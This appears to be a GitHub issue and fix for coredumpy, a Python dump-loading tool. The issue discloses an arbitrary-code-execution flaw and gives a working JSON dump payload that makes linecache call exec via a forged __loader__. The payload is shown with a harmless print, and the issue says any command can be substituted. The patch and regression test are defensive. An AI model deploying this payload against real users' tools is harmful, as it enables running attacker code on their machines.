Repository: gaogaotiantian/coredumpy

Issue:
Arbitrary code execution when loading a maliciously crafted dump file
pdb would call `linecache.getline` to get the source code:
[https://github.com/python/cpython/blob/3.13/Lib/bdb.py#L640](https://github.com/python/cpython/blob/3.13/Lib/bdb.py#L640)

```py
        if lineno is not None:
            line = linecache.getline(filename, lineno, frame.f_globals)
```


By controlling `frame.f_globals['__loader__'].get_source = builtins.exec`,
which is possible because builtin functions are supported in coredumpy,
and controlling `frame.f_globals['__name__'] = 'arbitrary_code_to_run'`,
linecache would call `f_globals['__loader__'].get_source(f_globals['__name__'])` and execute arbitrary code:
[https://github.com/python/cpython/blob/3.13/Lib/linecache.py#L205](https://github.com/python/cpython/blob/3.13/Lib/linecache.py#L205)


The following is a proof of concept that would print 'ARBITRARY CODE EXECUTION'.
Can replace `"print('ARBITRARY CODE EXECUTION')"` to any other command.
To reproduce, run `coredumpy load $DUMP_FILENAME`
Tested in 3.13.2 environment


```json
{
  "objects": {
    "1": {
      "type": "frame",
      "attrs": {
        "f_lineno": "11",
        "f_locals": "12",
        "f_code": "13",
        "f_globals": "14",
        "f_back": "15"
      }
    },
    "11": {
      "type": "int",
      "value": 1
    },
    "12": {
      "type": "dict",
      "value": {}
    },
    "13": {
      "type": "code",
      "attrs": {
        "co_filename": "131",
        "co_name": "132"
      }
    },
    "14": {
      "type": "dict",
      "value": {
        "141": "143",
        "142": "144"
      }
    },
    "15": {
      "type": "NoneType"
    },
    "131": {
      "type": "str",
      "value": "filename"
    },
    "132": {
      "type": "str",
      "value": "name"
    },
    "141": {
      "type": "str",
      "value": "__name__"
    },
    "142": {
      "type": "str",
      "value": "__loader__"
    },
    "143": {
      "type": "str",
      "value": "print('ARBITRARY CODE EXECUTION')"
    },
    "144": {
      "type": "EvilLoader",
      "attrs": {
        "get_source": "1441"
      }
    },
    "1441": {
      "type": "builtin_function",
      "value": "exec"
    }
  },
  "threads": {
    "0": {
      "frame": "1"
    }
  },
  "current_thread": "0",
  "files": {},
  "metadata": {
    "version": "0.4.0"
  }
}
```



Discussion:
codecov[bot]: ## [Codecov](https://app.codecov.io/gh/gaogaotiantian/coredumpy/pull/61?dropdown=coverage&src=pr&el=h1&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=Tian+Gao) Report
All modified and coverable lines are covered by tests :white_check_mark:
> Project coverage is 99.53%. Comparing base [(`f9bfc95`)](https://app.codecov.io/gh/gaogaotiantian/coredumpy/commit/f9bfc952aaa3de0188d2a1555b1dec871cb254cc?dropdown=coverage&el=desc&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=Tian+Gao) to head [(`ee98c5c`)](https://app.codecov.io/gh/gaogaotiantian/coredumpy/commit/ee98c5cdae9c7efbc1298d54b37cb403a43637db?dropdown=coverage&el=desc&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=Tian+Gao).

<details><summary>Additional details and impacted files</summary>


```diff
@@             Coverage Diff             @@
##            master      #61      +/-   ##
===========================================
- Coverage   100.00%   99.53%   -0.47%     
===========================================
  Files           17       17              
  Lines         1065     1071       +6     
===========================================
+ Hits          1065     1066       +1     
- Misses           0        5       +5     
```

</details>

[:umbrella: View full report in Codecov by Sentry](https://app.codecov.io/gh/gaogaotiantian/coredumpy/pull/61?dropdown=coverage&src=pr&el=continue&utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=Tian+Gao).   
:loudspeaker: Have feedback on the report? [Share it here](https://about.codecov.io/codecov-pr-comment-feedback/?utm_medium=referral&utm_source=github&utm_content=comment&utm_campaign=pr+comments&utm_term=Tian+Gao).

<details><summary>🚀 New features to boost your workflow: </summary>

- ❄ [Test Analytics](https://docs.codecov.com/docs/test-analytics): Detect flaky tests, report on failures, and find test suite problems.
</details>

Patch:
diff --git a/src/coredumpy/coredumpy.py b/src/coredumpy/coredumpy.py
index deb2220..483b7af 100644
--- a/src/coredumpy/coredumpy.py
+++ b/src/coredumpy/coredumpy.py
@@ -265,6 +265,16 @@ class Coredumpy:
         for thread in data["threads"]:
             data["threads"][thread]["frame"] = container.get_object(data["threads"][thread]["frame"])
 
+        # pop __loader__ and __spec__ from all f_globals because linecache
+        # tries to use them to get the source code, which could result in
+        # an arbitrary code execution
+        for thread in data["threads"]:
+            frame = data["threads"][thread]["frame"]
+            while frame:
+                frame.f_globals.pop("__loader__", None)
+                frame.f_globals.pop("__spec__", None)
+                frame = frame.f_back
+
         return {
             "container": container,
             "threads": data["threads"],


Test patch:
diff --git a/tests/test_regression.py b/tests/test_regression.py
new file mode 100644
index 0000000..260358b
--- /dev/null
+++ b/tests/test_regression.py
@@ -0,0 +1,23 @@
+# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0
+# For details: https://github.com/gaogaotiantian/coredumpy/blob/master/NOTICE.txt
+
+from .base import TestBase
+
+
+class TestRegression(TestBase):
+    def test_loader(self):
+        # __loader__ and __spec__ should not be loaded for security reasons
+        script = """
+            import coredumpy
+            def f():
+                coredumpy.dump(path="coredumpy_dump")
+            f()
+        """
+        stdout, _ = self.run_test(script, "coredumpy_dump", [
+            "import sys",
+            "p sys._getframe().f_globals.get('__loader__', 'loader not found')",
+            "p sys._getframe().f_globals.get('__spec__', 'spec not found')",
+            "q"
+        ])
+        self.assertIn("loader not found", stdout)
+        self.assertIn("spec not found", stdout)
diff --git a/tests/test_type_support.py b/tests/test_type_support.py
index 75fa228..0f64c38 100644
--- a/tests/test_type_support.py
+++ b/tests/test_type_support.py
@@ -3,6 +3,7 @@
 
 import importlib
 import sys
+import tempfile
 
 from coredumpy.py_object_container import PyObjectContainer
 from coredumpy.py_object_proxy import _unknown, PyObjectProxy
@@ -97,19 +98,25 @@ class TestTypeSupport(TestBase):
         proxy = self.convert_object(os)
         self.assertEqual(proxy, os)
 
-        # Create a module, then delete the file before converting
-        with open("temp_module_for_test.py", "w") as f:
-            f.write("pass")
-
-        temp_module_for_test = importlib.import_module("temp_module_for_test")
-        container = PyObjectContainer()
-        container.add_object(temp_module_for_test)
-
-        sys.modules.pop("temp_module_for_test")
-        os.remove("temp_module_for_test.py")
-        container.load_objects(container.get_objects())
-        proxy = container.get_object(str(id(temp_module_for_test)))
-        self.assertEqual(proxy._coredumpy_type, "module")
+        with tempfile.TemporaryDirectory() as tmpdir:
+            # Create a module, then delete the file before converting
+            module_path = os.path.join(tmpdir, "temp_module_for_test.py")
+            with open(module_path, "w") as f:
+                f.write("pass")
+
+            try:
+                sys.path.append(tmpdir)
+                temp_module_for_test = importlib.import_module("temp_module_for_test")
+                container = PyObjectContainer()
+                container.add_object(temp_module_for_test)
+
+                sys.modules.pop("temp_module_for_test")
+                os.remove(module_path)
+                container.load_objects(container.get_objects())
+                proxy = container.get_object(str(id(temp_module_for_test)))
+                self.assertEqual(proxy._coredumpy_type, "module")
+            finally:
+                sys.path.remove(tmpdir)
 
     def test_builtin_function(self):
         proxy = self.convert_object(abs)